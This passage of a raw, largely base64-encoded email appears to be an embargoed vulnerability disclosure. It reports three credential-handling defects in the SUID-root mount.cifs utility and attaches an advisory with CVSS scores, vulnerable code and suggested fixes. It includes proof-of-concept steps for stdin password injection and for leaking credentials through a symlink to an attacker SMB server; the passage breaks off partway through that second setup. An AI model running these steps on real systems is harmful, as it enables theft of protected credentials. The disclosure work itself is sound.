c3ltbGluayBmb2xsb3dpbmcgaW4gc3RpY2t5IGRpcmVjdG9yaWVzICgvdG1wLCAvdmFyL3RtcCku
PGJyPiMgUmVhbC13b3JsZCBjcmVkZW50aWFsIHBhdGhzICgvZXRjL2NpZnMvLCAvcm9vdC8sIGFw
cCBjb25maWcgZGlycykgYXJlIG5vdCBzdGlja3kgYW5kIGFyZSBub3QgcHJvdGVjdGVkIGJ5IHRo
aXMgbWl0aWdhdGlvbi48YnI+PGJyPuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgDxicj5QUk9PRiBPRiBDT05DRVBUIC0tIEZJTkRJTkcgMyAo
UEFTU1dEX0ZEIHN0ZGluIGluamVjdGlvbik8YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPiMgQnVnOiBhdG9pKCZxdW90O2ludmFs
aWQmcXVvdDspID0gMCwgZmQgMCA9IHN0ZGluIC0tIG5vIHByb21wdCwgc2lsZW50bHkgY29uc3Vt
ZWQ8YnI+ZWNobyAmcXVvdDtJTkpFQ1RFRF9QQVNTV09SRCZxdW90OyB8IHN1ZG8gc3RyYWNlIC1m
IC1lIHRyYWNlPXJlYWQgXDxicj7CoCDCoCBlbnYgUEFTU1dEX0ZEPWludmFsaWQgXDxicj7CoCDC
oCAvdXNyL3NiaW4vbW91bnQuY2lmcyAvLzxhIGhyZWY9Imh0dHA6Ly8xMjcuMC4wLjEvc2hhcmUi
PjEyNy4wLjAuMS9zaGFyZTwvYT4gL21udCBcPGJyPsKgIMKgIC1vIHVzZXI9dGVzdHVzZXIgMiZn
dDsmYW1wOzEgfCBncmVwICZxdW90O3JlYWQoMCZxdW90Ozxicj48YnI+IyBPdXRwdXQ6PGJyPiMg
W3BpZCA3Nzk0MzhdIHJlYWQoMCwgJnF1b3Q7SU5KRUNURURfUEFTU1dPUkRcbiZxdW90OywgNTEz
KSA9IDE4PGJyPjxicj7ilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIA8YnI+U1VHR0VTVEVEIEZJWDxicj7ilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8YnI+MS4gbW91bnQuY2lmcy5jOjYx
MiBhbmQgOjcwMSAtLSByZXBsYWNlIGZvcGVuKCkvb3BlbigpIHdpdGg6PGJyPsKgIMKgb3Blbihw
YXRoLCBPX1JET05MWSB8IE9fTk9GT0xMT1cgfCBPX0NMT0VYRUMpPGJyPsKgIMKgUmV0dXJuIEVM
T09QIGlmIHRoZSBwYXRoIGlzIGEgc3ltbGluay48YnI+PGJyPjIuIEFkZCBhdCBzdGFydHVwLCBi
ZWZvcmUgcGFyc2Vfb3B0aW9ucygpOjxicj7CoCDCoHVuc2V0ZW52KCZxdW90O1BBU1NXRF9GSUxF
JnF1b3Q7KTsgdW5zZXRlbnYoJnF1b3Q7UEFTU1dEX0ZEJnF1b3Q7KTs8YnI+wqAgwqBUaGVzZSBz
aG91bGQgbm90IGJlIGluaGVyaXRlZCBmcm9tIHRoZSBjYWxsZXImIzM5O3MgZW52aXJvbm1lbnQu
PGJyPjxicj4zLiBtb3VudC5jaWZzLmM6MTQ2MSAtLSByZXBsYWNlIGF0b2kodG1wKSB3aXRoIHN0
cnRvbCgpIGFuZCB2YWxpZGF0ZTxicj7CoCDCoHRoYXQgdGhlIHJlc3VsdGluZyBmZCBpcyBpbiB0
aGUgcmFuZ2UgWzMsIE9QRU5fTUFYXS48YnI+PGJyPuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgDxicj48YnI+SSBhbSBoYXBweSB0byBleHRl
bmQgb3Igc2hvcnRlbiB0aGUgZW1iYXJnbyBiYXNlZCBvbiB5b3VyIGFzc2Vzc21lbnQuPGJyPjxi
cj5BIGZ1bGwgdGVjaG5pY2FsIHJlcG9ydCBpcyBhdHRhY2hlZCBhcyBtb3VudF9jaWZzX2NyZWRl
bnRpYWxzX25vZm9sbG93Lm1kLjxicj48L2Rpdj48ZGl2PjxkaXYgZGlyPSJsdHIiIGNsYXNzPSJn
bWFpbF9zaWduYXR1cmUiIGRhdGEtc21hcnRtYWlsPSJnbWFpbF9zaWduYXR1cmUiPjxkaXYgZGly
PSJsdHIiPjxkaXYgZGlyPSJsdHIiPjxkaXYgZGlyPSJsdHIiPjxkaXYgZGlyPSJsdHIiPjxkaXYg
ZGlyPSJsdHIiPjxicj48L2Rpdj48ZGl2IGRpcj0ibHRyIj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+
QmVzdCByZWdhcmRzLMKgwqA8L2ZvbnQ+PC9kaXY+PGRpdiBkaXI9Imx0ciI+PGI+PGZvbnQgY29s
b3I9IiMwMDAwZmYiPjxpPlRodXJlaW4gT2/CoMKgPC9pPjwvZm9udD48L2I+PC9kaXY+PGRpdiBk
aXI9Imx0ciI+PGZvbnQgY29sb3I9IiMwMDAwZmYiPjxpPkN5YmVyc2VjdXJpdHkgQW5hbHlzdMKg
wqA8L2k+PC9mb250PjwvZGl2PjxkaXYgZGlyPSJsdHIiPjxmb250IGNvbG9yPSIjMDAwMGZmIj48
aT5lQ1RIUHYyIHwgZUNJUiB8IE9TV1AgfCBNQ1JUQTwvaT48L2ZvbnQ+PC9kaXY+PC9kaXY+PGRp
diBkaXI9Imx0ciI+8J+UlyA8YSBocmVmPSJodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vdGh1
cmVpbm9vLyIgdGFyZ2V0PSJfYmxhbmsiPkxpbmtlZEluPC9hPjwvZGl2PjxkaXY+PGJyPjwvZGl2
PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pg0K
--000000000000d1c3010657a68073--
--000000000000d1c3020657a68075
Content-Type: text/markdown; charset="UTF-8"; name="mount_cifs_credentials_nofollow.md"
Content-Disposition: attachment; 
	filename="mount_cifs_credentials_nofollow.md"
Content-Transfer-Encoding: base64
Content-ID: <f_ms4ayp4b0>
X-Attachment-Id: f_ms4ayp4b0

IyBTZWN1cml0eSBBZHZpc29yeTogbW91bnQuY2lmcyDigJQgVGhyZWUgQ3JlZGVudGlhbC1IYW5k
bGluZyBEZWZlY3RzIGluIFNVSUQtcm9vdCBCaW5hcnkKCi0gKipQYWNrYWdlKio6IGNpZnMtdXRp
bHMg4oCUIGh0dHBzOi8vZ2l0LnNhbWJhLm9yZy8/cD1jaWZzLXV0aWxzLmdpdAotICoqQWZmZWN0
ZWQgdmVyc2lvbioqOiDiiaQgNy43IChIRUFEIGFzIG9mIDIwMjYtMDctMjQ7IFVidW50dSBwYWNr
YWdlIDcuNC0xdWJ1bnR1MC4yNS4xMC4yIGNvbmZpcm1lZCB2dWxuZXJhYmxlKQoKLS0tCgojIyBT
dW1tYXJ5CgpgbW91bnQuY2lmc2AgaXMgaW5zdGFsbGVkIFNVSUQtcm9vdCBvbiBhbGwgbWFqb3Ig
TGludXggZGlzdHJpYnV0aW9ucy4gVGhyZWUgaW5kZXBlbmRlbnQgZGVmZWN0cyBleGlzdCBpbiBp
dHMgY3JlZGVudGlhbC1maWxlIGhhbmRsaW5nIGNvZGUuIEFsbCB0aHJlZSB3ZXJlIGNvbmZpcm1l
ZCBvbiBVYnVudHUgMjUuMTAgd2l0aCBjaWZzLXV0aWxzIDcuNC0xdWJ1bnR1MC4yNS4xMC4yLgoK
fCAjIHwgRmluZGluZyB8IEZpbGUgLyBMaW5lIHwgQ1dFIHwgU3RhdHVzIHwKfC0tLXwtLS0tLS0t
LS18LS0tLS0tLS0tLS0tLXwtLS0tLXwtLS0tLS0tLXwKfCAxIHwgYG9wZW5fY3JlZF9maWxlKClg
IG9wZW5zIGNyZWRlbnRpYWwgZmlsZSB3aXRob3V0IGBPX05PRk9MTE9XYCBiZXR3ZWVuIGBhY2Nl
c3MoKWAgYW5kIGBmb3BlbigpYCDigJQgVE9DVE9VIHJhY2Ugd2luZG93IHwgYG1vdW50LmNpZnMu
Yzo2MDXigJM2MTJgIHwgQ1dFLTM2NywgQ1dFLTYxIHwgU3RydWN0dXJhbCDigJQgcmFjZSB3aW5k
b3cgY29uZmlybWVkOyByYWNlIG5vdCB3b24gaW4gdGVzdGluZyB8CnwgMiB8IGBnZXRfcGFzc3dv
cmRfZnJvbV9maWxlKClgIG9wZW5zIGBQQVNTV0RfRklMRWAgZW52LXZhciBwYXRoIHdpdGhvdXQg
YE9fTk9GT0xMT1dgIOKAlCBzeW1saW5rIGZvbGxvdyB3aXRoIGBDQVBfREFDX1JFQURfU0VBUkNI
YCBlZmZlY3RpdmUgfCBgbW91bnQuY2lmcy5jOjY5MuKAkzcwMWAgfCBDV0UtNjEgfCAqKkZ1bGx5
IGRlbW9uc3RyYXRlZCoqIOKAlCBmaWxlIGNvbnRlbnQgdHJhbnNtaXR0ZWQgdG8gYXR0YWNrZXIg
U01CIHNlcnZlciB8CnwgMyB8IGBQQVNTV0RfRkRgIGVudi12YXIgcHJvY2Vzc2VkIHZpYSBgYXRv
aSgpYCB3aXRoIG5vIGJvdW5kcyBjaGVjayDigJQgbm9uLW51bWVyaWMgdmFsdWUgeWllbGRzIGZk
IDAgKHN0ZGluKSB8IGBtb3VudC5jaWZzLmM6MTQ2MWAgfCBDV0UtMjAgfCAqKkZ1bGx5IGRlbW9u
c3RyYXRlZCoqIOKAlCBzdHJhY2UgY29uZmlybXMgYHJlYWQoMCwgLi4uKWAgfAoKLS0tCgojIyBT
ZXZlcml0eQoKKipPdmVyYWxsOiA1LjUgTWVkaXVtKioKYENWU1M6My4xL0FWOkwvQUM6TC9QUjpM
L1VJOk4vUzpVL0M6SC9JOk4vQTpOYAoKLSBgQVY6TGAg4oCUIHJlcXVpcmVzIGEgbG9jYWwgYWNj
b3VudC4KLSBgQUM6TGAg4oCUIHBsYWNpbmcgYSBzeW1saW5rIHJlcXVpcmVzIG5vIHNwZWNpYWwg
dGltaW5nIG9yIGNvbmRpdGlvbnMgb25jZSBtb3VudC5jaWZzIHJ1bnMgYXMgcm9vdCB3aXRoIGFu
IGF0dGFja2VyLWluZmx1ZW5jZWQgcGF0aC4KLSBgUFI6TGAg4oCUIGxvdy1wcml2aWxlZ2VkIGxv
Y2FsIHVzZXI7IG5vIHNwZWNpYWwgZ3JvdXAgbWVtYmVyc2hpcCByZXF1aXJlZC4KLSBgQzpIYCDi
gJQgY3JlZGVudGlhbCB2YWx1ZXMgKGB1c2VybmFtZT1gL2BwYXNzd29yZD1gKSBmcm9tIGEgZmls
ZSB1bnJlYWRhYmxlIGJ5IHRoZSBhdHRhY2tlciBhcmUgdHJhbnNtaXR0ZWQgaW4gZnVsbCB0byBh
biBhdHRhY2tlci1jb250cm9sbGVkIFNNQiBzZXJ2ZXIuCi0gYEk6TmAsIGBBOk5gIOKAlCBubyB3
cml0ZSBvciBhdmFpbGFiaWxpdHkgaW1wYWN0LgoKKipGaW5kaW5nIDMgKFBBU1NXRF9GRCBzdGRp
bik6KiogU2NvcmVkIHNlcGFyYXRlbHkg4oCUIGBDVlNTOjMuMS9BVjpML0FDOkwvUFI6TC9VSTpO
L1M6VS9DOk4vSTpML0E6TmAgPSAqKjMuMyBMb3cqKi4gVGhpcyBpcyBhbiBhdXRoZW50aWNhdGlv
biBpbmplY3Rpb24gZGVmZWN0IHJhdGhlciB0aGFuIGFuIGluZm9ybWF0aW9uIGRpc2Nsb3N1cmU6
IHRoZSBhdHRhY2tlciBjb250cm9scyB0aGUgcGFzc3dvcmQgdmFsdWUgbW91bnQuY2lmcyBzdWJt
aXRzLCBub3QgY29udGVudCByZWFkIGZyb20gYSBwcm90ZWN0ZWQgZmlsZS4KCioqQ1dFKio6IENX
RS02MSAoVU5JWCBTeW1ib2xpYyBMaW5rIEZvbGxvd2luZyksIENXRS0zNjcgKFRPQ1RPVSBSYWNl
IENvbmRpdGlvbiksIENXRS0yMCAoSW1wcm9wZXIgSW5wdXQgVmFsaWRhdGlvbikKCi0tLQoKIyMg
QWZmZWN0ZWQgQ29tcG9uZW50CgotICoqQmluYXJ5Kio6IGAvdXNyL3NiaW4vbW91bnQuY2lmc2Ag
KGluc3RhbGxlZCBTVUlELXJvb3QgYnkgY2lmcy11dGlscykKLSAqKkZpbGUqKjogYG1vdW50LmNp
ZnMuY2AKLSAqKkZ1bmN0aW9ucyoqOgogIC0gYG9wZW5fY3JlZF9maWxlKClgIOKAlCBsaW5lcyA1
OTnigJM2MTQKICAtIGBnZXRfcGFzc3dvcmRfZnJvbV9maWxlKClgIOKAlCBsaW5lcyA2ODjigJM3
MTQKICAtIGBnZXRfcHdfZnJvbV9lbnYoKWAg4oCUIGxpbmUgMTQ2MSAoYFBBU1NXRF9GRGAgaGFu
ZGxpbmcpCi0gKipQcmVjb25kaXRpb25zKio6CiAgLSBGaW5kaW5nIDEgKFRPQ1RPVSk6IHdyaXRl
IGFjY2VzcyB0byB0aGUgZGlyZWN0b3J5IGNvbnRhaW5pbmcgdGhlIGNyZWRlbnRpYWwgZmlsZTsg
bW91bnQuY2lmcyBpbnZva2VkIHJlcGVhdGVkbHkgKHJhY2UpLgogIC0gRmluZGluZyAyIChQQVNT
V0RfRklMRSBzeW1saW5rKTogbW91bnQuY2lmcyBpbnZva2VkIGFzIHJvb3Qgd2l0aCBhbiBhdHRh
Y2tlci1pbmZsdWVuY2VkIGBQQVNTV0RfRklMRWAgcGF0aCwgaW4gYSBub24tc3RpY2t5IGRpcmVj
dG9yeSAoYnlwYXNzZXMgYGZzLnByb3RlY3RlZF9zeW1saW5rc2ApLgogIC0gRmluZGluZyAzIChQ
QVNTV0RfRkQgc3RkaW4pOiBhYmlsaXR5IHRvIHNldCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgZm9y
IGEgcHJvY2VzcyB0aGF0IGludm9rZXMgbW91bnQuY2lmcy4KCi0tLQoKIyMgVnVsbmVyYWJpbGl0
eSBEZXRhaWxzCgojIyMgQmFja2dyb3VuZDogY2FwYWJpbGl0eSBtb2RlbAoKYG1vdW50LmNpZnNg
IGlzIFNVSUQtcm9vdC4gSXQgZm9ya3MgYSBjaGlsZCBwcm9jZXNzOyB0aGUgY2hpbGQgZHJvcHMg
dG8gdGhlIGNhbGxlcidzIHJlYWwgVUlEL0dJRCBidXQgcmV0YWlucyBgQ0FQX0RBQ19SRUFEX1NF
QVJDSGAgaW4gaXRzIHBlcm1pdHRlZCBzZXQuIEltbWVkaWF0ZWx5IGJlZm9yZSBvcGVuaW5nIGNy
ZWRlbnRpYWwgZmlsZXMsIHRoZSBjaGlsZCByZS1yYWlzZXMgYENBUF9EQUNfUkVBRF9TRUFSQ0hg
IHRvIGVmZmVjdGl2ZS4gVGhpcyBjYXBhYmlsaXR5IGJ5cGFzc2VzIGFsbCBEQUMgcmVhZCBwZXJt
aXNzaW9uIGFuZCBkaXJlY3Rvcnkgc2VhcmNoIHBlcm1pc3Npb24gY2hlY2tzIOKAlCB0aGUgcHJv
Y2VzcyBjYW4gb3BlbiBhbnkgZmlsZSBvbiB0aGUgZmlsZXN5c3RlbSByZWdhcmRsZXNzIG9mIG93
bmVyc2hpcCBvciBtb2RlIGJpdHMuCgpUaGUgY29ycmVjdCBiZWhhdmlvdXIgZm9yIGFueSBTVUlE
IGJpbmFyeSB0aGF0IG9wZW5zIHVzZXItc3VwcGxpZWQgcGF0aHMgdW5kZXIgZWxldmF0ZWQgY2Fw
YWJpbGl0aWVzIGlzIHRvIHBhc3MgYE9fTk9GT0xMT1dgIHRvIGV2ZXJ5IGBvcGVuKClgIGNhbGwu
IGBPX05PRk9MTE9XYCBpbnN0cnVjdHMgdGhlIGtlcm5lbCB0byByZXR1cm4gYEVMT09QYCByYXRo
ZXIgdGhhbiBmb2xsb3cgYSBzeW1saW5rIGF0IHRoZSBmaW5hbCBwYXRoIGNvbXBvbmVudC4gTmVp
dGhlciBjcmVkZW50aWFsLWZpbGUgb3BlbiBjYWxsIGluIG1vdW50LmNpZnMgZG9lcyB0aGlzLgoK
LS0tCgojIyMgRmluZGluZyAxIOKAlCBUT0NUT1UgcmFjZSBpbiBgb3Blbl9jcmVkX2ZpbGUoKWAg
KGBtb3VudC5jaWZzLmM6NjA14oCTNjEyYCkKCmBgYGMKc3RhdGljIGludCBvcGVuX2NyZWRfZmls
ZShjaGFyICpmaWxlX25hbWUsIC4uLikKewogICAgaSA9IHRvZ2dsZV9kYWNfY2FwYWJpbGl0eSgw
LCAxKTsgICAgLy8gcmFpc2VzIENBUF9EQUNfUkVBRF9TRUFSQ0ggdG8gZWZmZWN0aXZlCiAgICBp
ID0gYWNjZXNzKGZpbGVfbmFtZSwgUl9PSyk7ICAgICAgICAvLyBsaW5lIDYwNTogcmVhbC11aWQg
cGVybWlzc2lvbiBjaGVjawogICAgaWYgKGkgJiYgaSAhPSBFQUNDRVMpIHsKICAgICAgICB0b2dn
bGVfZGFjX2NhcGFiaWxpdHkoMCwgMCk7CiAgICAgICAgcmV0dXJuIGk7CiAgICB9CiAgICBmcyA9
IGZvcGVuKGZpbGVfbmFtZSwgInIiKTsgICAgICAgICAvLyBsaW5lIDYxMjogb3BlbnMgZmlsZSDi
gJQgTk8gT19OT0ZPTExPVwogICAgdG9nZ2xlX2RhY19jYXBhYmlsaXR5KDAsIDApOyAgICAgICAg
Ly8gZHJvcHMgQ0FQX0RBQ19SRUFEX1NFQVJDSAp9CmBgYAoKVGhlcmUgYXJlIHR3byBzZXF1ZW50
aWFsIG9wZXJhdGlvbnMgb24gdGhlIHNhbWUgcGF0aCB3aXRoIGBDQVBfREFDX1JFQURfU0VBUkNI
YCBoZWxkIGZvciB0aGUgZHVyYXRpb246CgotICoqTGluZSA2MDUqKjogYGFjY2VzcyhmaWxlX25h
bWUsIFJfT0spYCDigJQgcGVybWlzc2lvbiBjaGVjayB1c2luZyB0aGUgY2FsbGVyJ3MgKipyZWFs
KiogVUlEIChub3QgdGhlIGVmZmVjdGl2ZSBjYXBhYmlsaXR5KS4gRm9yIGEgZmlsZSB0aGUgYXR0
YWNrZXIgb3ducyBhbmQgY2FuIHJlYWQsIHRoaXMgcmV0dXJucyAwLgotICoqTGluZSA2MTIqKjog
YGZvcGVuKGZpbGVfbmFtZSwgInIiKWAg4oCUIG9wZW5zIHRoZSBmaWxlLiBObyBgT19OT0ZPTExP
V2AuIEJ5IHRoaXMgcG9pbnQgYW4gYXR0YWNrZXIgaGFzIGEgd2luZG93IHRvIHJlcGxhY2UgdGhl
IGZpbGUgYXQgYGZpbGVfbmFtZWAgd2l0aCBhIHN5bWxpbmsgdG8gYW55IHBhdGggb24gdGhlIHN5
c3RlbS4KCklmIHRoZSByYWNlIGlzIHdvbiwgYGZvcGVuKClgIHJ1bnMgd2l0aCBgQ0FQX0RBQ19S
RUFEX1NFQVJDSGAgZWZmZWN0aXZlIGFuZCBvcGVucyB3aGF0ZXZlciB0aGUgc3ltbGluayBwb2lu
dHMgdG8g4oCUIGluY2x1ZGluZyByb290LW9ubHkgZmlsZXMg4oCUIHJlZ2FyZGxlc3Mgb2YgREFD
IHBlcm1pc3Npb25zLiBUaGUgZmlsZSBpcyB0aGVuIHBhcnNlZCBmb3IgYHVzZXJuYW1lPWAvYHBh
c3N3b3JkPWAgY29udGVudCBhbmQgdGhvc2UgdmFsdWVzIGFyZSB0cmFuc21pdHRlZCB0byB0aGUg
U01CIHNlcnZlciBzcGVjaWZpZWQgb24gdGhlIGNvbW1hbmQgbGluZS4KCioqU3RhdHVzKio6IFJh
Y2Ugd2luZG93IHN0cnVjdHVyYWxseSBjb25maXJtZWQgYnkgY29kZSByZXZpZXcuIFRoZSByYWNl
IHdhcyBub3Qgd29uIGluIDUwLDAwMCBhdXRvbWF0ZWQgaXRlcmF0aW9ucyB3aXRoIGF0b21pYyBg
cmVuYW1lKClgIHJhY2VyIGFuZCBDUFUgcGlubmluZyBvbiBhIHZpcnR1YWwgbWFjaGluZS4gVGhl
IHJhY2Ugd2luZG93ICh0aGUgZ2FwIGJldHdlZW4gbGluZXMgNjA1IGFuZCA2MTIpIGlzIG9uIHRo
ZSBvcmRlciBvZiBtaWNyb3NlY29uZHM7IHdpbm5pbmcgaXQgcmVsaWFibHkgcmVxdWlyZXMgYHVz
ZXJmYXVsdGZkYCBvciBiYXJlLW1ldGFsIHNjaGVkdWxpbmcuIFRoZSBzdHJ1Y3R1cmFsIGRlZmVj
dCBpcyBub3QgaW4gcXVlc3Rpb24uCgotLS0KCiMjIyBGaW5kaW5nIDIg4oCUIFN5bWxpbmsgZm9s
bG93IGluIGBnZXRfcGFzc3dvcmRfZnJvbV9maWxlKClgIHZpYSBgUEFTU1dEX0ZJTEVgIChgbW91
bnQuY2lmcy5jOjY5MuKAkzcwMWApCgpgYGBjCnN0YXRpYyBpbnQgZ2V0X3Bhc3N3b3JkX2Zyb21f
ZmlsZShpbnQgZmlsZV9kZXNjcmlwdCwgY2hhciAqZmlsZW5hbWUsIC4uLikKewogICAgaWYgKGZp
bGVuYW1lICE9IE5VTEwpIHsKICAgICAgICByYyA9IHRvZ2dsZV9kYWNfY2FwYWJpbGl0eSgwLCAx
KTsgICAgICAgICAgIC8vIHJhaXNlcyBDQVBfREFDX1JFQURfU0VBUkNICiAgICAgICAgcmMgPSBh
Y2Nlc3MoZmlsZW5hbWUsIFJfT0spOyAgICAgICAgICAgICAgICAvLyBsaW5lIDY5MjogcmVhbC11
aWQgY2hlY2sKICAgICAgICBmaWxlX2Rlc2NyaXB0ID0gb3BlbihmaWxlbmFtZSwgT19SRE9OTFkp
OyAgIC8vIGxpbmUgNzAxOiBOTyBPX05PRk9MTE9XCiAgICAgICAgcmMgPSB0b2dnbGVfZGFjX2Nh
cGFiaWxpdHkoMCwgMCk7CiAgICB9Cn0KYGBgCgpDYWxsZWQgZnJvbSBgZ2V0X3B3X2Zyb21fZW52
KClgOgoKYGBgYwovLyBtb3VudC5jaWZzLmM6MTQ2MwpjaGFyICpmaWxlbmFtZSA9IGdldGVudigi
UEFTU1dEX0ZJTEUiKTsKaWYgKGZpbGVuYW1lKQogICAgZ2V0X3Bhc3N3b3JkX2Zyb21fZmlsZSgw
LCBmaWxlbmFtZSwgcGFyc2VkX2luZm8pOwpgYGAKCmBQQVNTV0RfRklMRWAgaXMgdGFrZW4gZGly
ZWN0bHkgZnJvbSB0aGUgZW52aXJvbm1lbnQgd2l0aG91dCB2YWxpZGF0aW9uLiBUaGUgYmluYXJ5
IGRvZXMgbm90IGNhbGwgYGNsZWFyZW52KClgIG9yIHVuc2V0IGluaGVyaXRlZCBlbnZpcm9ubWVu
dCB2YXJpYWJsZXMgYXQgc3RhcnR1cC4gVGhlIGBvcGVuKClgIGF0IGxpbmUgNzAxIGRvZXMgbm90
IHBhc3MgYE9fTk9GT0xMT1dgLgoKVGhpcyBkaWZmZXJzIGZyb20gRmluZGluZyAxIGluIGFuIGlt
cG9ydGFudCB3YXk6ICoqdGhlcmUgaXMgbm8gcmFjZSoqLiBJZiBtb3VudC5jaWZzIGlzIHJ1bm5p
bmcgYXMgcm9vdCAodmlhIGNyb24sIHN5c3RlbWQgbW91bnQsIG9yIGFuIGFkbWluIHNjcmlwdCks
IGFuZCB0aGUgYFBBU1NXRF9GSUxFYCBwYXRoIChvciBgY3JlZGVudGlhbHM9YCBwYXRoKSBpcyBh
IHN5bWxpbmssIG1vdW50LmNpZnMgd2lsbCBmb2xsb3cgaXQgdW5jb25kaXRpb25hbGx5LiBUaGUg
YGFjY2VzcygpYCBnYXRlIGF0IGxpbmUgNjkyIHVzZXMgcmVhbCBVSUQ7IHdoZW4gdGhlIHByb2Nl
c3MgaXMgYWxyZWFkeSByb290LCByZWFsIFVJRCBpcyAwIGFuZCBgYWNjZXNzKClgIHBhc3NlcyBm
b3IgYW55IHBhdGguCgoKLS0tCgojIyMgRmluZGluZyAzIOKAlCBgUEFTU1dEX0ZEYCBgYXRvaSgp
YCB3aXRob3V0IGJvdW5kcyBjaGVjayAoYG1vdW50LmNpZnMuYzoxNDYxYCkKCmBgYGMKdG1wID0g
Z2V0ZW52KCJQQVNTV0RfRkQiKTsKaWYgKHRtcCkgewogICAgcGFyc2VkX2luZm8tPmdvdF9wYXNz
d29yZCA9IDE7CiAgICBmZCA9IGF0b2kodG1wKTsgICAgICAgICAgICAgICAgICAgICAgICAgIC8v
IHJldHVybnMgMCBmb3Igbm9uLW51bWVyaWMgaW5wdXQKICAgIHJlYWQoZmQsIHBhc3NidWYsIHNp
emVvZihwYXNzYnVmKSAtIDEpOyAgLy8gcmVhZHMgZnJvbSBmZCAwID0gc3RkaW4gaWYgYXRvaSBy
ZXR1cm5lZCAwCn0KYGBgCgpgUEFTU1dEX0ZEYCBpcyBpbnRlbmRlZCBmb3Igc2NyaXB0cyB0byBw
YXNzIGEgcGFzc3dvcmQgdmlhIGEgZmlsZSBkZXNjcmlwdG9yIG9wZW5lZCBiZWZvcmUgZXhlYzoK
CmBgYGJhc2gKUEFTU1dEX0ZEPTUgbW91bnQuY2lmcyAvL3NlcnZlci9zaGFyZSAvbW50IDU8L3Bh
dGgvdG8vcGFzc3dvcmQKYGBgCgpgYXRvaSgpYCByZXR1cm5zIDAgZm9yIGFueSBub24tbnVtZXJp
YyBzdHJpbmcgKGAiaW52YWxpZCJgLCBgIiJgLCBgImFiYyJgKS4gZmQgMCBpcyBzdGRpbi4gVGhl
cmUgaXMgbm8gY2hlY2sgdGhhdCB0aGUgdmFsdWUgZmFsbHMgaW4gdGhlIHJhbmdlIGBbMywgT1BF
Tl9NQVhdYC4gV2hlbiBgUEFTU1dEX0ZEPWludmFsaWRgIChvciBhbnkgbm9uLW51bWVyaWMgdmFs
dWUpLCBtb3VudC5jaWZzIHNpbGVudGx5IHJlYWRzIHRoZSBwYXNzd29yZCBmcm9tIHN0ZGluIHdp
dGhvdXQgZGlzcGxheWluZyBhbnkgcHJvbXB0LCB3YXJuaW5nLCBvciBlcnJvci4KCk5vcm1hbCBi
ZWhhdmlvdXIgb3BlbnMgYC9kZXYvdHR5YCBmb3IgYW4gaW50ZXJhY3RpdmUgcHJvbXB0LiBXaXRo
IGBQQVNTV0RfRkQ9aW52YWxpZGAsIGAvZGV2L3R0eWAgaXMgbmV2ZXIgb3BlbmVkIOKAlCB0aGUg
cGFzc3dvcmQgaXMgY29uc3VtZWQgZnJvbSBzdGRpbiBiZWZvcmUgdGhlIHByb21wdCB3b3VsZCBh
cHBlYXIuCgoKLS0tCgojIyBQcm9vZiBvZiBDb25jZXB0CgojIyMgRmluZGluZyAyIOKAlCBFbmQt
dG8tZW5kIGNyZWRlbnRpYWwgdGhlZnQgdmlhIHN5bWxpbmsKCioqVGVzdCBlbnZpcm9ubWVudCoq
OiBVYnVudHUgMjUuMTAsIGNpZnMtdXRpbHMgNy40LTF1YnVudHUwLjI1LjEwLjIsIGtlcm5lbCA2
LjE3LjAtNDEsIHVzZXIgYHRyb2AgKHVpZD0xMDAwKS4KCioqU2V0dXAqKjoKCmBgYGJhc2gKIyBU
ZXJtaW5hbCAxIOKAlCBhdHRhY2tlcidzIFNNQiBzZXJ2ZXIKbWtkaXIgLXAgL3RtcC9zbWJfc2hh
cmUKc3VkbyBweXRob24zIC91c3IvbG9jYWwvYmluL3NtYnNlcnZlci5weSAtcG9ydCA0NDQ1IHNo
YXJlIC90bXAvc21iX3NoYXJlCgojIFRlcm1pbmFsIDIg4oCUIGF0dGFja2VyLWNvbnRyb2xsZWQg
c2Vzc2lvbgojIENyZWF0ZSBhIGZpbGUgdGhlIHVzZXIgY2Fubm90IHJlYWQKcHJpbnRmICd1c2Vy
bmFtZT1TRUNSRVRfVkFMVUVfTEVBS0VEXG5wYXNzd29yZD1odW50ZXIyXG4nID4gL2hvbWUvdHJv
L3NlY3JldC50eHQKY2htb2QgMDAwIC9ob21lL3Ryby9zZWNyZXQudHh0CgpjYXQgL2hvbWUvdHJv
L3NlY3JldC50eHQKIyDihpIgUGVybWlzc2lvbiBkZW5pZWQKCiMgQ3JlYXRlIHN5bWxpbmsgdG8g
